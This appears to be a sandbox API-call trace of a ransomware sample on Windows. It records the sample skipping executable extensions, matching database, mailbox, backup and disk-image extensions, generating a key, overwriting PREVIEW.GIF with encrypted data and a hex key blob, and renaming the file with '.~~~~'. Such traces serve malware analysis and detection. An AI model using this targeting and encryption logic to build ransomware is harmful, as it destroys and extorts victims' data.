	[0084.127] lstrlenW (lpString=".CKP") returned 4
	[0084.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0084.127] lstrlenW (lpString=".edb") returned 4
	[0084.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0084.127] lstrlenW (lpString=".PST") returned 4
	[0084.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0084.127] lstrlenW (lpString=".dbf") returned 4
	[0084.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0084.127] lstrlenW (lpString=".SQL") returned 4
	[0084.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0084.127] lstrlenW (lpString=".pst") returned 4
	[0084.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0084.127] lstrlenW (lpString=".dbv") returned 4
	[0084.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0084.128] lstrlenW (lpString=".SDF") returned 4
	[0084.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0084.128] lstrlenW (lpString=".dtxs") returned 5
	[0084.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0084.128] lstrlenW (lpString=".db3") returned 4
	[0084.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0084.128] lstrlenW (lpString=".OST") returned 4
	[0084.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0084.128] lstrlenW (lpString=".dbx") returned 4
	[0084.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0084.128] lstrlenW (lpString=".DB3") returned 4
	[0084.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0084.128] lstrlenW (lpString=".DAT") returned 4
	[0084.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0084.128] lstrlenW (lpString=".VHDX") returned 5
	[0084.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0084.128] lstrlenW (lpString=".ndf") returned 4
	[0084.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0084.128] lstrlenW (lpString=".DB") returned 3
	[0084.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0084.128] lstrlenW (lpString=".sql") returned 4
	[0084.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0084.128] lstrlenW (lpString=".MYD") returned 4
	[0084.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0084.128] lstrlenW (lpString=".DBT") returned 4
	[0084.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0084.128] lstrlenW (lpString=".ACCDB") returned 6
	[0084.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0084.128] lstrlenW (lpString=".fdb") returned 4
	[0084.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0084.129] lstrlenW (lpString=".bak") returned 4
	[0084.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0084.129] lstrlenW (lpString=".myd") returned 4
	[0084.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0084.129] lstrlenW (lpString=".DTXS") returned 5
	[0084.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0084.129] lstrlenW (lpString=".ckp") returned 4
	[0084.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0084.129] lstrlenW (lpString=".dbt") returned 4
	[0084.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0084.129] lstrlenW (lpString=".db") returned 3
	[0084.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0084.129] lstrlenW (lpString=".TXT") returned 4
	[0084.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0084.129] lstrlenW (lpString=".MDF") returned 4
	[0084.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0084.129] lstrlenW (lpString=".bdb") returned 4
	[0084.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0084.129] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0084.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.129] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0084.130] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.131] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0084.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0084.131] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20412078928) returned 1
	[0084.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9bfab190, dwHighDateTime=0x1d60e1e)) 
	[0084.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0084.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0084.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0084.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a25d0
	[0084.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a25d0 | out: hHeap=0x300000) returned 1
	[0084.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2807fe8
	[0084.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807fe8 | out: hHeap=0x300000) returned 1
	[0084.131] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0084.131] GetLastError () returned 0x0
	[0084.132] GetLastError () returned 0x0
	[0084.132] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0084.132] GetLastError () returned 0x0
	[0084.132] GetLastError () returned 0x0
	[0084.136] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffffa53, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.136] WriteFile (in: hFile=0x118, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x5ad, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x5ad, lpOverlapped=0x0) returned 1
	[0084.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0084.136] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.136] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.136] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.136] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.136] CloseHandle (hObject=0x118) returned 1
	[0084.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6c58
	[0084.137] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.~~~~")) returned 1
	[0084.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6c58 | out: hHeap=0x300000) returned 1
	[0084.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0084.139] GetLastError () returned 0x0
	[0084.139] RtlWakeConditionVariable () returned 0x365f70
	[0084.139] GetCurrentThreadId () returned 0xaf0
	[0084.139] GetCurrentThreadId () returned 0xaf0
	[0084.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807ca0
	[0084.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808138 | out: hHeap=0x300000) returned 1
	[0084.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2608 | out: hHeap=0x300000) returned 1
	[0084.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808138
	[0084.140] lstrlenW (lpString=".scr") returned 4
	[0084.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0084.140] lstrlenW (lpString=".cmd") returned 4
	[0084.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0084.140] lstrlenW (lpString=".dll") returned 4
	[0084.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0084.140] lstrlenW (lpString=".bat") returned 4
	[0084.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0084.140] lstrlenW (lpString=".cpl") returned 4
	[0084.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0084.140] lstrlenW (lpString=".sys") returned 4
	[0084.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0084.141] lstrlenW (lpString=".msc") returned 4
	[0084.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0084.141] lstrlenW (lpString=".com") returned 4
	[0084.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0084.141] lstrlenW (lpString=".lnk") returned 4
	[0084.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0084.141] lstrlenW (lpString=".msp") returned 4
	[0084.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0084.141] lstrlenW (lpString=".pif") returned 4
	[0084.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0084.141] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0084.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0084.141] lstrlenW (lpString=".sqb") returned 4
	[0084.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0084.142] lstrlenW (lpString=".ost") returned 4
	[0084.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0084.142] lstrlenW (lpString=".txt") returned 4
	[0084.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0084.142] lstrlenW (lpString=".mdt") returned 4
	[0084.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0084.142] lstrlenW (lpString=".BDB") returned 4
	[0084.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0084.142] lstrlenW (lpString=".eql") returned 4
	[0084.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0084.142] lstrlenW (lpString=".DBF") returned 4
	[0084.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0084.142] lstrlenW (lpString=".EQL") returned 4
	[0084.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0084.142] lstrlenW (lpString=".FDB") returned 4
	[0084.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0084.142] lstrlenW (lpString=".EDB") returned 4
	[0084.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0084.142] lstrlenW (lpString=".DACPAC") returned 7
	[0084.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0084.142] lstrlenW (lpString=".VHD") returned 4
	[0084.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0084.142] lstrlenW (lpString=".DBV") returned 4
	[0084.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0084.142] lstrlenW (lpString=".dacpac") returned 7
	[0084.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0084.142] lstrlenW (lpString=".sdf") returned 4
	[0084.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0084.143] lstrlenW (lpString=".accdb") returned 6
	[0084.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0084.143] lstrlenW (lpString=".DBX") returned 4
	[0084.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0084.143] lstrlenW (lpString=".MDT") returned 4
	[0084.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0084.143] lstrlenW (lpString=".SQB") returned 4
	[0084.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0084.143] lstrlenW (lpString=".vhd") returned 4
	[0084.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0084.143] lstrlenW (lpString=".bac") returned 4
	[0084.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0084.143] lstrlenW (lpString=".mdf") returned 4
	[0084.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0084.143] lstrlenW (lpString=".BAK") returned 4
	[0084.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0084.143] lstrlenW (lpString=".BAC") returned 4
	[0084.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0084.143] lstrlenW (lpString=".dbs") returned 4
	[0084.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0084.143] lstrlenW (lpString=".vhdx") returned 5
	[0084.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0084.143] lstrlenW (lpString=".NDF") returned 4
	[0084.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0084.143] lstrlenW (lpString=".dat") returned 4
	[0084.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0084.144] lstrlenW (lpString=".DBS") returned 4
	[0084.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0084.144] lstrlenW (lpString=".CKP") returned 4
	[0084.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0084.144] lstrlenW (lpString=".edb") returned 4
	[0084.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0084.144] lstrlenW (lpString=".PST") returned 4
	[0084.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0084.144] lstrlenW (lpString=".dbf") returned 4
	[0084.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0084.144] lstrlenW (lpString=".SQL") returned 4
	[0084.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0084.144] lstrlenW (lpString=".pst") returned 4
	[0084.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0084.144] lstrlenW (lpString=".dbv") returned 4
	[0084.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0084.144] lstrlenW (lpString=".SDF") returned 4
	[0084.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0084.144] lstrlenW (lpString=".dtxs") returned 5
	[0084.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0084.144] lstrlenW (lpString=".db3") returned 4
	[0084.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0084.144] lstrlenW (lpString=".OST") returned 4
	[0084.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0084.144] lstrlenW (lpString=".dbx") returned 4
	[0084.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0084.144] lstrlenW (lpString=".DB3") returned 4
	[0084.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0084.145] lstrlenW (lpString=".DAT") returned 4
	[0084.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0084.145] lstrlenW (lpString=".VHDX") returned 5
	[0084.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0084.145] lstrlenW (lpString=".ndf") returned 4
	[0084.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0084.145] lstrlenW (lpString=".DB") returned 3
	[0084.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0084.145] lstrlenW (lpString=".sql") returned 4
	[0084.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
